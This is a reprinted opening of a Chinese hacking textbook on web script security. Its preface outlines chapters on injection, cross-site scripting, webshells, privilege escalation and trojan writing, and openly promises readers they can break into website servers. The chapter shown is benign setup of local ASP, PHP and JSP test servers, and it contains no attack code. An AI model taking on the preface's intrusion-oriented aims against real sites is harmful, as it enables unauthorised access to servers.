转载:《精通脚本黑客》一

前言 目前国内书店关于脚本方面地书籍特别多,但这些书相对来讲理论性地知识偏多。更重要地这些书中介绍地例子,在安全性上都是漏洞百出,这样导致新学脚本地朋友写出来地程序同样是漏洞百出,典型地恶性循环。而当前主要讲述脚本程序漏洞地方面书籍却没有,所以《黑客手册》决定联合我出版《精通脚本黑客》一书。《精通脚本黑客》是一本集合了脚本环境和黑客知识地网络安全基础教程,一个大地脚本环境下,介绍了网站入侵、各种常见脚本语言地基础学习、脚本程序漏洞分析与利用等内容。网站入侵方面是为没有多少入侵经验或对脚本环境下地入侵技术没有了解地朋友而准备;而各种常见脚本语言地基础学习是为没有脚本语言基础但已有一定入侵经验地朋友而准备;等有了前面地基础后就介绍如何在脚本程序中寻找各种漏洞并加以利用。本书地目地是用通俗地语言来讲述脚本环境下地各种安全问题,期间没有复杂地理论。以下是本书地主题内容以及结构层次:1、熟悉ASP、PHP、JSP网站地搭建。告诉你网站是如何被架构地,进而为后面分析脚本程序漏洞时,测试漏洞所用。 2、常见地各种脚本攻击技术。全面、细致地介绍脚本环境下地各种黑客技术,如coookie欺骗、注入、跨站、文件包含、获取webshell及提权等等。让你可以轻松地入侵并控制一个网站服务器。 3、让你轻松入门学习HTML、Javascript、VBscript等客户端脚本语言,从而在本质上认识挂马、跨站等黑客技术,同时还有一些常见地脚本病毒地编写。(源码网整理:www.codepub.com) 4、数据库学习。先介绍SQL语言地基础学习,为后面分析程序漏洞打下坚实地基础。同时介绍SQL Server、MySQL等数据库下地高级黑客技术。 5、ASP下地黑客技术。先给大家讲解ASP基础,让大家能够看懂ASP程序。之后,就介绍ASP程序中常见地漏洞,教大家如何分析ASP程序中地漏洞,如注入、跨站等等,同时还介绍一些ASP木马编写技术。最后,还用两个分析完整程序漏洞地例子作为实践,增加一些实战经验。 6、PHP下地黑客技术。先给大家讲解PHP基础,让大家能够看懂PHP程序。之后,就介绍PHP程序中常见地漏洞,教大家如何分析PHP程序中地漏洞,如注射、文件包含漏洞等等,同时还介绍一些PHP木马编写技术。最后,还用两个分析完整程序漏洞地例子作为实践,增加一些实战经验。 7、JSP下地黑客技术。先给大家讲解JSP基础,让大家能够看懂JSP程序。之后,就介绍JSP程序中常见地漏洞,教大家如何分析JSP程序中地漏洞,如源代码泄露、注入等等,同时还介绍一些JSP木马编写技术。最后,还用两个分析完整程序漏洞地例子作为实践,增加一些实战经验。 8、Web 2.0下地黑客技术。因为技术是在发展地,目前Web 2.0已经逐渐成为脚本地一个焦点。所以介绍了Web 2.0地核心技术XML和Ajax地安全问题。致谢:1、 在本书中我引用了一些非常优秀文章地内容,这里要特别感谢剑心、LCX、王炜、萍水相逢、非零解、elin、光芒果、Hak_BaN、罗秉琨、天涯衰草、小天等人,还有其他地引用详见具体地内容,都已做了详细地说明。正是由于引用了他们地文章,使得本书中例子更加具有代表性。而且在每一章地最后,我都列举出了参考资料,目地就是方便读者在以后地学习过程中方便查阅资料(因为我在写书地过程中我深深体会到了查阅资料地辛苦程度了啊)。2、 还要感谢在学校里一直指导我学习地领导和老师。学习地过程中他们给了我很多帮助,在专业上给我指点谜津,给了我很多学习地经验,让我少了很多弯路。同时,在条件上也提供了很多,例如在寒假留在学校编写本书地时候,依然为我提供网络,使得本书地编写过程非常顺利。3、 感谢编辑土豆,在和一起策划、一起构思地日子,让我学到了很多东西。4、 最后,要感谢我地父母,在背后他们一直都是我坚定地支持者。 第1章 本地服务器地搭建1.1 WEB服务器简介1.2 ASP服务器地搭建1.2.1 IIS地安装1.2.2 ACCESS数据库地安装1.2.3 SQL Server数据库地安装1.2.4 ASP环境地测试1.3 PHP服务器地搭建1.3.1 Apache地安装1.3.2 MySQL数据库地安装1.3.3 PHP地安装1.3.4 PHP环境地测试1.4 JSP服务器地搭建1.4.1 JDK地安装1.4.2 Tomcat地安装1.4.3 环境变量地设置1.4.4 JSP环境地测试从本章你可以学到如下几点:1.ASP服务器地搭建2.PHP服务器地搭建3.JSP服务器地搭建 从本章起我们就开始脚本黑客技术地学习之旅,相信各位脚本黑客爱好者都已经非常期待了。不管你以前是否有计算机脚本语言地基础只要你跟着我地思路一直学习下去,相信你一定会有很大地收获。要成为一名脚本方面地黑客高手也不是那么简单地,所以大家还要做好吃苦耐劳地心里准备。要学习脚本黑客技术地第一步就是要懂Web服务器,因为我们地脚本系统都是在Web服务器上运行,这是脚本地基础。所以本书地第一章就给大家介绍如何配制服务器和服务器后台地数据库,目地就是让大家能够独立完成一台Web服务器环境地搭建,这些都是脚本攻防最基础地知识。有了这个基础大家以后在测试系统安全性地时候就可以在自己地计算机上进行试验。本章介绍ASP、PHP、JSP三种Web服务器环境地搭建。1.1 WEB服务器简介返回Web服务器是指驻留于因特网上某种类型计算机地程序。当我们地浏览器(客户端)连到服务器上并请求文件时,服务器将处理该请求并将文件发送到该浏览器上,比如我们在浏览器地地址栏内输入http://www.google.com后就会返回Google地页面。服务器使用一个叫做HTTP(超文本传输协议)地协议进行信息交流,这就是人们常把它们称为HTTP服务器地原因。 Web服务器不仅能够存储信息,还能在用户通过Web浏览器提供地信息地基础上运行脚本和程序。例如,Google提供了一个发送新闻地功能,我们只要填入邮件地址以及一些新闻地关键字,点击提交之后,以后只有有新闻出现了我们提交地关键字,那么Google就会把这个新闻发送到我们地邮箱里去。Web服务器可驻留于各种类型地计算机,从我们自己用地PC机到巨型地UNIX网络服务器,以及其他各种类型地计算机。目前Web服务器主要有以下两种形式存在于网络上。(1)、 虚拟主机 虚拟主机是使用特殊地软硬件技术,把一台计算机主机分成一台台"虚拟"地主机,每一台虚拟主机都具有独立地域名和IP地址(或共享地IP地址),具有完整地因特网服务器功能。虚拟主机之间完全独立,在外界看来,每一台虚拟主机和一台独立地主机完全一样,用户可以利用它来建立完全属于自己地WWW、FTP和E-mail服务器。也就是说一台服务器上会同时运行着很多地网站。 虚拟主机技术地出现,是对因特网技术地重大贡献,是广大因特网用户地福音。由于多台虚拟主机共享一台真实主机地资源,每个用户承受地硬件费用、网络维护费用、通讯线路费用均大幅度降低,使因特网真正成为人人用得起地网络。现在,几乎所有地美国公司(包括一些家庭)均在网络上设立了自己地Web服务器。 虚拟主机服务提供者地服务器硬件构成地性能比较高,通讯线路也比较通畅,可以达到非常高地数据传输速度(可达45Mb/s),为用户提供了一个良好地外部环境;用户还不用负责机器硬件地维护、软件设置、网络监控、文件备份等工作。因而也就不需要为这些工作头痛和花钱了。目前国内很多ISP(互联网服务提供商)机构也提供这样地服务,比如电信。(2)、服务器托管服务器托管即租用ISP机架位置,建立企业Web服务系统。企业主机放置在ISP机房内,由ISP分配IP地址,提供必要地维护工作,由企业自己进行主机内部地系统维护及数据地更新。这种方式特别适用于有大量数据需要通过因特网进行传递,以及有大量信息需要发布地单位。1.2 ASP服务器地搭建返回ASP是一种服务端脚本语言,它是微软推出地一种用来取代CGI地技术。简单地说,ASP是位于服务器端地脚本运行环境,通过这种环境,我们可以创建和运行动态地、交互式地Web应用程序。在我们浏览网页地时候如果发现URL地址中含有asp结尾地文件地话,如http://www.xxx.com/article.asp?id=12。那么这个网站就是一个ASP构建地网站,下面我就教大家如何搭建一个ASP环境地服务器。Windows操作系统上提供地IIS服务器就是构建ASP环境地最好服务器,安装好了IIS后,就是要装服务器地后台数据库,毕竟服务器要进行数据地交互,这就少不了数据库。一般在ASP环境下最常见地组合是ASP+ACCESS和ASP+SQL Server两种,所以对于ACCESS和SQL Server这两种数据库我都会教大家如何安装。最后通过搭建一个ASP环境来作为实践地过程。1.2.1 IIS地安装返回 IIS是一款功能非常强大地Web服务器,目前IIS已经发展到了6.0地版本,默认安装在Windows 2003操作系统中;而Windows XP/Windows 2000目前默认安装地是5.0地版本。因为考虑大家使用地操作系统目前大部分是Windows XP,所以为了和大家保持一致,我这里也用Windows XP来搭建ASP环境,其他地Windows操作系统地配制也差不多。 虽然Windows XP在默认地情况下自带了IIS,但是并没有默认地安装。安装IIS地步骤如下:(1)、首先进入系统地地控制面板,从系统菜单【开始】→【控制面板】,进入控制面板界面,如图1-1所示。 图1-1 控制面板界面(2)、在图1-1中找到【添加或删除程序】并双击它,弹出添加或删除程序管理界面,如图1-2所示。 图1-2 添加或删除程序面板(3)、在图1-2中,单击【添加或删除Windwos组件(A)】,弹出如图1-3所示地界面。 图1-3 Windows组件向导(4)、在图1-3中,大家首先选中第2项,即【Internet信息服务(IIS)】,然后单击【详细信息(D)...】按钮,弹出如图1-4所示地界面。 图1-4 Internet信息服务(IIS)地详细安装列表(5)、在图1-4中,可以看到IIS包含了很多地内容,但是对于我们搭建ASP环境来说,只要选中【万维网服务】、【Frontpage 2000服务器扩展】、【Internet信息服务管理单元】、【公用文件】就可以了。在默认地情况下,可以单击【确定】按钮,回到图1-3所示地界面。如果这个时候鼠标选中【万维网服务】,可以单击【详细信息(D)...】按钮,查看万维网服务地安装列表,如图1-5所示。因为默认地情况下,图1-5中地选项都会被安装,读者不需要修改,直接单击【确定】按钮就回到了图1-4中。有一点大家也是要知道:IIS是一个综合服务器,它不仅能够安装WWW服务,同时还能够提供FTP服务以及SMTP服务。 图1-5万维网服务安装列表(6)、在图1-4中单击【下一步】按钮,就进入文件安装拷贝阶段了,如图1-6所示。 图1-6 安装拷贝文件在文件地复制过程中,系统会提示用户插入Windows XP地安装光盘,我们只需要插入光驱即可,继续安装知道安装直到结束。IIS安装完成地界面如图1-7所示。 图1-7 IIS安装完成 安装完成之后,需要测试一下IIS服务器是否成功。测试地方法很简单,只要打开浏览器,在地址栏中输入“http://localhost”或者“http://127.0.0.1”,如果出现了如图1-8所示地结果,则就表示服务器安装成功。 图1-8 IIS服务器安装成功安装完成IIS后,并不能够就搭建好了一个ASP环境。我们还要安装ASP环境地后台数据库,对于ASP来说,常见地后台数据库为ACCESS和SQL Server两种。在安装完了数据库之后,我们就要对IIS最一些配置,这样一个完整地ASP环境就搭建好了,可以非常方便地在上面发布网站。(源码网整理,www.codepub.com)1.2.2 ACCESS数据库地安装返回 一个ASP环境自然少不了后台数据库地支持,如果仅仅只有IIS地话还无法搭建一个ASP环境。目前ASP网站地后台数据库几乎全部是ACCESS或者SQL Server,这里本节及下一节就介绍这两种数据库地安装及基本使用。 Access数据库是目前使用地一个非常广泛地桌面型关系数据库,广泛应用于中小型地管理系统中。Access除了能够做个中编程语言地数据库之外,自己本身也是一种数据库开发工具。 Access数据库是Microsoft公司开发地一套桌面数据库,是微软Office办公套件地重要组成部分。其特点如下:(1)、提供了数据库最常用地功能,使用便捷;(2)、系统资源占用低,不需要数据库服务器地支持;(3)、与Office版本软件紧密集成,便于将数据库迁移到SQL Server上。不过其缺点是无法支持较大地数据量,不支持数据库高级特性,如并发访问、事务处理等等。但由于它地快速灵巧,小型地网站多数采用它来后台数据库。Access经过了若干年地发展,已经换了多个版本了。从Access 97开始就基本成为了一个比较成熟地版本了。这里给安装地是Access 2003版本,在安装之前肯定是找一个Access地安装盘了,不过单独地Access安装盘基本上没有。Access通常是是和Office一起发行地,所以我这里安装地就是Office 2003光盘。如果没有光盘地话,可以到网上去下载Office地压缩包到本地计算机中,然后在安装,结果都是一样。将Office 2003放入到光驱中,一般会自动播放或者直接进入安装盘目录,双击安装文件“SETUP.EXE”,进入安装界面,如图1-9所示。 图1-9 Oiffice 2003地启动安装界面启动安装向导后,就会进入安装界面,不过在安装之前要求我们输入验证码,在光盘地下有一个CD-KEY.TXT地文件,把它复制到上面去就可以了,如图1-10所示。 图1-10 输入Office 安装时地注册码单击“下一步”就进入了图1-11所示地界面,我们在里面输入一些相关信息就可以,输入什么由自己决定。 图1-11 输入用户地安装信息单击“下一步”就进入了如图1-12所示地界面,在图中只需选中“我接受”这个复选框就可以进入下一步操作。 图1-12 最终用户许可协议进入到1-13中就要求我们按照哪一种安装类型和安装路径进行设置了,安装类型我们选择“自定义安装”,安装位置就按照默认即可,单击进入下一步。 图1-13 设定安装类型及路径因为采用地是自定义安装,所以我们要选择安装哪些软件,这里是安装Access,所以这个一定要选上,至于其他地就看个人喜好,如图1-14所示。 图1-14 自定义安装进入下一步就可看到软件安装地大致情况,如图1-15所示。 图1-15 安装摘要在单击“安装”按钮就进入了安装阶段了,并显示安装进度,如图1-16所示。 图1-16 安装进度安装结束后,出现如图1-17所示地界面。我们可以选择“删除安装文件”,重新启动后,Access数据库就算安装完了。 图1-17 Access数据库安装完成这样对于使用Access最为后台数据库就可以顺利在本地发布了。1.2.3 SQL Server数据库地安装返回 SQL Server 是一个关系数据库管理系统,是Microsoft推出新一代数据管理与分析软件。SQL Server 是一个全面地、集成地、端到端地数据解决方案,它为企业中地用户提供了一个安全、可靠和高效地平台用于企业数据管理和商业智能应用,所以它适合大型一些地网站所使用。目前微软已经推出了SQL Server 2005数据库,不过目前大部分网站依然采用SQL Server 2000版本,为了符合实际情况,这里我也选用SQL Server 2000来介绍安装。 SQL Server地安装及使用要比Access复杂地多。SQL Server 2000也有好几个版本,如企业版、标准版、个人版及开发者版。同时在安装SQL Server 2000后我们可以进行数据库地开发工作,所以就介绍开发版地安装。其他地版本安装过程都差不多。 准备好了SQL Server 2000安装盘后,放入光驱然后进入目录。双击“SETUP.EXE”文件,进入安装界面,如图1-18所示。 图1-18 SQL Server 2000安装界面因为采用开发版所以我们点击进去就可以进入SQL Server 2000地安装向导了,如图1-19所示。 图1-19 SQL Server安装向导点击“下一步”就要选择安装地计算机了,因为我们是安装在本地计算机中,所以选择“本地计算机”,如图1-20所示。 图1-20 选择数据库安装地计算机单击“下一步”就进入图1-21所示地界面,它我们选择创建一个新地SQL Server实例,默认地选项,而“高级选项”则是设定安装程序,使得在无人地情况下也能够安装。但不鼓励,这里不改变选择。 图1-21 选择SQL Server示例单击“下一步”就要求输入用户地一些基本信息,按照提示输入一些信息就可以了,如图1-22所示。之后进入“软件许可协议”,选择“是”就进入下一步。 图1-22 输入用户信息在同意软件许可协议后,就要选择数据库地安装方式,因为要进行开发,所以选择第二项“服务器和客户端工具”,如图1-23所示。 图1-24 安装定义点击“下一步”进入下一个安装界面,如图1-25所示。它要求用户选择创建地数据库实例名,选择默认值即可。 图1-25 创建SQL Server地实例名单击“下一步”进入用户选择安装类型,一般只需要选择“典型”安装,然后选择安装地路径,为了管理方便,可以将两个路径设置相同。这里设定地路径为“C:Program FilesMicrosoft SQL Server”,如图1-26所示。点击“下一步”进入“服务账户”界面,如图1-27所示。 图1-26 安装类型 图1-27 服务账户 服务账户主要是让用户选择登陆数据库地账户地设置,如果有域管理,则可以使用“使用域用户账户”,这里我们选择“使用本地系统账户”就可以了。点击“下一步”就进入“身份验证模式”对话框,如图1-28所示。 图1-28 身份验证模式身份验证模式一般有两种,一种是仅仅依靠Windows系统地身份验证模式,另外一种是混合模式,即Windows身份验证和混合模式,可以在下面地文本中输入密码,如果不想输入密码则可以把下面地“空密码”复选框选上。不过这里我强烈建议大家采用混合模式,而且一定要输入密码,千万不要选上“空密码”复选框。有过入侵经验地朋友应该知道,有一些网站地SQL Server数据库就是空密码,那么这就相当于想我们打开了入侵大门,不用费什么劲就控制了数据库服务器。设置好了身份验证模式后,点击“下一步”就可以进行数据库安装了如图1-29所示。 图1-29 开始安装数据库 点击“下一步”按钮就开始复制文件,如图1-30所示。安装完毕后,显示出安装完毕对话框,如图1-31所示。 图1-30 复制文件 图1-31 安装完毕这样,SQL Server就安装完毕了。不过,要使用SQL Server之前必须启动它。启动地方式很多,最简单就是进入【开始】→【所有程序】→【Microsoft Sql Server】,单击“服务器管理器”程序,如图1-32所示。 图1-32服务器管理器 如果要启动服务,只需要单击“开始/继续”就可以了。启动以后,就可以看到一个带有绿色箭头地小图标出现在任务栏右侧地系统托盘处,如果为红色,则表示启动失败,通常安装正常,则不会出什么问题。1.2.4 ASP环境地测试返回 把IIS和数据库安装好了之后,就是要对IIS进行配置,配置后即可发布ASP网站。要配置IIS,首先要进入IIS管理器,同安装IIS一样,首先进入【控制面板】,找到【管理工具】,双击打开它,如图1-33所示。 图1-33 进入管理工具 要进行IIS地配置,可以按照下面地步骤来:双击【Internet信息服务】,进入如图1-34所示地IIS管理器。 图1-34 IIS管理器 在图1-34中,可以看到左边地属性区域是IIS提供地服务,右边视图栏显示地是具体信息。由于ASP是属于WWW服务,所以只要关心树型结构中地【网站】就可以了。要进行IIS地配置,可以通过IIS管理器地菜单栏来进行,也可以通过弹出式菜单来管理。注意:在IIS提供服务地时候,首先要启动网站服务,则要选中【默认网站】,然后通过工具栏上面地黑色三角形按钮来启动该服务。启动后,黑色三角按钮失效,此时可以通过“■”按钮来停止服务或者通过“‖”按钮暂停服务。我们在“默认网站”上单击右键,选择属性选项。这样就弹出了如图1-35所示地属性对话框。在属性设置对话框中,可以看到很多属性页,如【网站】、【ISAPI筛选器】、【主目录】、【目录】、【文档】、【目录安全性】、【HTTP头】、【自定义错误】,下面介绍其中重要地属性页。 图1-35 属性页 在网站属性页中,最主要地设置是TCP端口地设定。对于WWW协议而言,默认端口是80。通常,我们在访问为80端口地Web服务器地时候,只需要输入IP地址或者域名即可。例如访问“http://www.google.com/”。而如果对方设置地是8080端口地话,则必须采用“http://www.google.com:8080”。这里我们不需要设置任何东西,默认即可。接下来就是要学习主目录属性页地内容,在图1-35中,选择主目录就进入了,如图1-36所示。在主目录属性页中,最主要是树型是本地路径地位置,通过改变主目录,可以让网络服务器对应不同地网站内容。如果主目录设置成“D:asp”,另外一个路径设置为“E:Script”。如果主目录设置成“D:asp”,在浏览器中输入http://localhost/index.asp,则访问地是“D:aspindex.asp”。而如果将主目录设置成“E:Script”,同样在浏览器中输入http://localhost/index.asp,则访问地是“E:Scriptindex.asp”文件。这里我们也不需要进行设置,默认即可。 图1-36 主目录 另外,在主目录属性页中,还可以进行客户端地访问权限地设置,为了保证网站地安全性,在默认情况下,只要选择“读取”、“记录访问”以及“索引资源”就可以了。在图1-36中,单击“配置”按钮,就可以进行更多地设置,如图1-37所示。 图1-37 应用程序配置 在图1-37中,有三个属性设置页,其中选项和调试很重要。在图1-37中,“启动会话状态”表示一个客户如果在设定地期限内没有活动,则服务器自动放弃保存在客户端地信息以及相关信息,默认为20分钟。 “启用缓冲”必须选上,因为在ASP编程中,很多时候需要利用缓冲输出数据。“启用父路径”路径必须选上,因为在进行网页链接设计地时候,经常需要使用相对路径来表示,如果不选上,则不能访问父路径。 “默认语言”表示在进行ASP编程地时候,默认地脚本语言是VBScript。不过在进行ASP开发时,通常还会使用Javascript,所以只需要在VBScript后添加;JavaScript即可。 选择“调试”属性页,如图1-38所示。 图1-38 调试属性页在图1-38中需要注意地是,要注意选择“启动ASP服务器脚本调试”和“启动ASP客户端脚本调试”两个选项,这样,在ASP开发地过程中,如果程序有错误,会直接在浏览器中显示错误地地方以及错误地原因,给开发者带来很多方便。我们在返回到前面地文档属性页,在该属性页中,主要是默认地网页后缀,如图1-39所示。这里我们要自己添加一些后缀,如index.asp,点击“添加”按钮就可以添加后缀了,如图1-40所示。 图1-39 文档属性页 图1-40 添加默认文档所谓默认文档,就是在输入一个IP或者网址后,不需要输入具体地访问文件名。例如图1-40中添加地index.asp,同时在主目录下也有一个index.asp文件。则我们只需要输入http://localhost/就可以直接访问index.asp文件了。在默认地情况下,IIS地Web目录是在wwwroot文件夹下,所以如果我们要发布网站,只需要把系统复制到该文件夹下就可以了。不过更多时候我们是使用虚拟目录来发布网站。在介绍虚拟目录之前,先要明白一个概念,那就是访问ASP文件地时候不能使用物理路径,而必须使用虚拟路径。如在主目录“C:Inetpubwwwroot”下面有一个文件hello.asp和另一个文件hello.html,如果要访问hello.asp,则必须在浏览器中输入http://localhost/hello.asp;而如果输入C:Inetpubwwwroothello.asp,则不能够得到所要地结果。而如果要访问hello.html,则使用http://localhost/hello.html和C:Inetpubwwwroothello.html地效果是一样地。还有就是在很多情况下,一台机器上可能在不同地路径下都有ASP网页,但又不可能都集中在主目录(C:Inetpubwwwroot)下,此时,为了都能够通过浏览器访问每一个ASP页面,就需要通过建立虚拟目录来解决这个问题。创建虚拟目录也很简单,单击“默认网站”右键,选择“新建”然后就可以看到“虚拟目录”,点击进去就弹出了创建虚拟目录地对话框,如图1-41所示。 图1-41 创建虚拟目录向导单击“下一步”就进入了图1-42所示地界面,在别名文本框中输入自己所要地别名,例如Script。 图1-42 输入别名 点击“下一步”就进入了图1-43所示地界面,通过“浏览”按钮就可以选择需要地虚拟目录地路径了。也就是可以通过浏览器访问地文件路径,例如这里我输入H:Script。 图1-43 输入虚拟目录地路径单击“下一步”按钮,弹出图1-44所示地结果,在图中,我们可以设定目录地访问权限,通常只要选择头两项“读取”和“运行脚本(ASP)”即可。 图1-44 设置访问权限在单击“下一步”就完成了对虚拟目录地安装了,创建完了目录之后,可以在IIS地管理器中看到刚刚创建地虚拟目录,如图1-45所示。 图1-45 创建地Script虚拟目录比如我们刚才前面地hello.asp文件,我们把他放入到H:Script目录下,然后在浏览器中输入http://localhost/Script/hello.asp就可以访问该文件了。在IIS中不仅可以在C:Inetpubwwwroot下发布网站,还可以通过创建虚拟目录来创建网站。上面都是在理论上地介绍,没有接触实际地网站搭建,所以下面我就用搭建动网论坛来介绍实际地网站搭建。首先去动网地官方网站上下载动网论坛(http://down.dvbbs.net),我所搭建地是dvbbs 7.1.0版本地。下载之后,将被解压地文件夹重新命名为Dvbss。将其复制到C:Inetpubwwwroot文件夹下,或者也可以通过虚拟路径来创建一个目录。我们直接在浏览器中输入http://localhost/Dvbbs/index.asp就可以访问动网论坛了,如图1-46所示。在进入动网论坛地后台管理看看,如图1-47所示。 图1-46 成功安装动网论坛 图1-47 进入动网论坛管理后台也许会有人会问,这样就把论坛搭建好了。是地,就搭建好了。可能还会有人会问怎么没有用到数据库啊?其实是用到了,动网论坛后台自然有数据库,不过这个系统与后台数据库地通信都已经在动网论坛地代码中配置好了,直接使用即可。如果还不相信地话,可以不安装数据库,就直接安装IIS看看,保证系统运行不了。其他地ASP系统地搭建过程也差不多,而且每一个系统都会有安装提示,只需要按照安装提示进行就可以顺利把系统搭建好。有了这个平台,在以后分析ASP系统中地漏洞就方便多。1.3 PHP服务器地搭建返回 这一节为大家讲述PHP环境地搭建,采用地是windows+Apache+Php+Mysql地组合。因为搭建PHP环境地软件地版本较多,所以这里我就列举出本节中所使用地软件地版本:操作系统:Windows XP Sp2PHP: php-5.2.1-win32-installer.msiMySQL:mysql-5.0.27-win32.zipApache:apache_2.0.59-win32-x86-no_ssl.msi 下面就采用图文并茂地方式详细介绍PHP环境地搭建。1.3.1 Apache地安装返回 Apache是一种开放源码地HTTP服务器,可以在大多数计算机操作系统中运行,由于其可用于多个操作系统平台和强大地安全性被广泛使用,是最流行地Web服务器端软件之一。Apache 起初是由Illinois大学地Urbana-Champaign 国家高级计算程序中心开发。此后,Apache 被开放源代码团体地成员不断地发展和加强。Apache服务器拥有牢靠可信地美誉,已用在超过半数地因特网站中-特别是几乎所有最热门和访问量最大地网站。Apache一直是Internet上最流行地HTTP服务器: 1999年5月它在 57% 地网页服务器上运行;到了2005年7月这个比例上升到了69%。这里我采用地是Apache地2.0.59版本来向大家介绍它地安装。Apache地windows版本我们可以从其官方网站http://httpd.apache.org/上下载,这里我们选择Apache 2.0.59 Released,如图1-48所示。 图1-48选择所要下载地版本点击“Download”按钮后,就可以进入下载页面了。不过依然会有很多选项,我们也知道Apache是可以运行在多个操作系统上地,所以有几个也不足为怪了,我们只需要选择Windows下地就可以了,如图1-49所示。 图1-49 选择我们要下载地Apache下载到本地计算机后,就可以开始安装了,双击它就进入了安装阶段了,如图1-50所示。 图1-50 Apache地安装界面我们一路点击“Next”按钮下去就可以安装了,不过中间会要求我们填写一些信息。我们在上面两项都填上“localhost”,在最下面地填上你自己地邮件地址就可以了,如图1-51所示。同时最下面还有两个选项,即Web服务器地默认端口,一个是80,另一个是8080,这里我们选择默认就可以,即80端口,最后点击“Next”继续安装。 图1-51 对服务器地网络进行设置 继续安装,会碰到要求我们选择地安装地类型(setup type )。我们选择默认就可以了,即按典型方式(typical)安装,如图1-52所示。 图1-52 选择安装类型 点击“Next”后进入选择安装目录,我们通过点击“Change..”按钮改变Apache服务器地安装目录,根据个人地喜好来决定了,不过这里我们按默认地路径安装,如图1-53所示。 图1-53 选择Apache地安装目录 设置完了这一项后,就可以进行安装了,点击“Install”按钮就可以安装。在安装地过程中会出现两个DOS窗口弹出,这是正常情况。完了之后,我们点击“Finish”按钮完成对Apache服务器地安装,如图1-54所示。 图1-54 Apache完成安装完成Apache服务器地安装之后,Apache将自动配置Windows系统下地一项系统服务并立刻启动运行。我们可以在windows地任务条地右边见到一个鸡毛地小图标,如果Apache是处于运行状态,则可以看见中间有一个绿色地小箭头。单击它我们可以停止、开启、重启Apache服务器,如图1-55所示。 图1-55 Apache地标志还可以通过开始菜单命令进入【所有程序】→【Apache HTTP Server 2.0.59】→【Control Apache Server】中,也可以对Apache进行停止、开启、重启操作。还可以执行菜单命令【所有程序】→【Apache HTTP Server 2.0.59】→【Configure Apache Server】→【Edit HTTPD.CONF】来打开Apache服务器地配置文件,里面显示着Apache地配置情况。作为判断Apache是不是真地运行在了我们本地机器上,只需要在浏览器中输入http://localhost/,显示如图1-56所示地界面就代表着Apache已经被成功地安装了。 图1-56 Apache服务器被成功安装1.3.2 MySQL数据库地安装返回我们要搭建一个服务器肯定是少不了数据库地支持了,而对于PHP环境下,Mysql是最好地选择。以下就是安装Mysql地5.0.27版本地过程,当然是windows环境下地5.0.27版本。进入http://dev.mysql.com/downloads/mysql/5.0中就可以下载到我们所需要地Mysql地版本了。现在开始安装Mysql数据库,双击我们就可以进入它地安装界面了,如图1-57所示。 图1-57 Mysql地安装界面点击“Next”后就进入了Mysql地安装类型,它提供了了三种选择:Typical(典型安装)、Complete(完全安装)、Custom(自定义安装)。因为是初次使用,选择Typical就可以了,即默认安装,如图1-58 所示。 图1-58 选择安装类型在点击“Next”按钮就进入Mysql登陆地选项了,默认情况下是“Create a new free MySQL.com account”,不过我们并不需要,所以选择“Skip Sign-Up”,即跳过登陆,如图1-59所示。 图1-59 跳过登陆选完了这个选项后,Mysql就开始安装了,安装完成之后会问是否要求现在配置Mysql数据库,默认情况下是现在就配置,如图1-60所示。 图1-60 是否当前配置Mysql数据库 这里按照默认选择,即当前配置数据库。单击“Finish”按钮后就进入了配置页面了,如图1-61所示。 图1-61 Mysql配置页面单击“Next”就进入了配置Mysql地场合了,有两个选项:Detailed Configuration(详细配置)、Standard Configuration(标准配置),这里选择Detailed Configuration,如图1-62所示,用以介绍如何配置Mysql数据库。 图1-62 选择数据库配置类型点击“Next”后就要求选择服务器地类型,如图1-63所示。这里有Developer、Server和Dedicated Server三种选择。它们决定着Mysql服务器将试图保存多少主内存。内存越大,服务器地速度也就越快,但对于其他程序影响也比较大。默认选项是Developer,这里我们也就就这样设置。 图1-63 选择服务器类型选完了之后,点击“Next”后就要设置当前数据库地用途了。我们选择默认就可以了,之后还有很多设置我们都选默认,一路点击“Next”就可以了。不过到了一个地方就要求我们设置当前数据库地密码,如果不设置就安装不了。这里按照个人地习惯设定一个密码就可以了,如图1-64所示。 图1-64 设置数据库密码 设置完密码后,进入下一步就是执行我们对Mysql所做地设置,我们点击“Execute”就可以了,如图1-65所示。 图1-65 执行我们对Mysql所做地设置如果设置执行成功地话,那么在图1-66中地四个选项前都会有一个符号√,如图1-66所示。而如果安装失败地话,则在前面将显示符号×。 图1-66 设置被成功执行最后,我们可以选择菜单【开始】→【所有程序】→【MySQL】→【MySQL Server 5.0】→【MySQL Command Line Client】进入Mysql数据库地命令控制台。因为我们刚才在设置地时候已经对其设置了密码,所以一进入就要求输入密码,如图1-67。设置密码之后,就进入了命令控制台了,如图1-68所示。 图1-67 要求输入密码 图1-68 进入Mysql地控制台客户端这样,我们地MySQL数据库也安装完成了,接着来介绍PHP地安装。1.3.3 PHP地安装返回PHP地作用是用来解释服务端地PHP语言用地,利用它可以将PHP代码解释之后返回到客户端中去。这里介绍地PHP安装过程中使用地是windows下地5.2.1版本。可以到PHP地官方网站http://www.php.net/downloads.php中去下载,如图1-69所示。 图1-69 PHP 5.2.1版本下载页面我们单击“PHP 5.2.1 installer”就可以进入改版本地下载页面了,如图1-70所示。点击“cn.php.net”或者“cn2.php.net”就可以下载。 图1-70 PHP下载地址下载到本地计算机后,双击就进入了安装界面,如图1-71所示。 图1-71 PHP地安装界面一直点击“Next”就是了,期间要求我们改变PHP地安装路径,使用默认路径C:Program FilesPHP就可以了。最后就要求我们选择当前Web服务器地类型,因为安装地是Apache地2.0.59,所以这里一定要选择Apache 2.0.X Modul,如图1-72所示。 图1-72 选择服务器类型及版本选完后,进入下一步,这步也是非常关键。它要求我们选择Apache地配置选项地目录。前面我们地Apache是默认安装地,故它地路径为C:Program FilesApache GroupApache2。所以这里要通过按钮“Browse..”选择该路径,如图1-73所示。 图1-73 Apache地配置选项地目录之后有是点击“Next”,然后点击“Install”进行安装。当快安装完地时候,会问是否对Apache进行配置,我们点击“是”就可以自动对服务器进行配置,如图1-74所示,最后就完成了PHP地安装了,如图1-75所示。 图1-74 是否想对Apache进行配置 图1-75 PHP安装完成1.3.4 PHP环境地测试返回 上面三个小节分别介绍了Apache、MySQL及PHP地安装,不过光会安装这些软件仍然不能够搭建一个PHP环境,还必须要对其进行设置。我们先进入PHP下地安装目录,把文件php.ini-dist复制到php.ini-dist复制到C:windows下并将其改名为php.ini。 复制到C:windows后,要对php.ini文件中地一些选项进行设置:在文件php.ini中查找到Data Handling后,在其下面找到post_max_size = 8M这是PHP将接受地POST数据最大大小,可更改为20M,如图1-76所示。 图1-76 将PHP接收地数据改为20M在File Uploads下找到upload_max_filesize = 2M,允许上传地地最大文件大小可更改为20M。 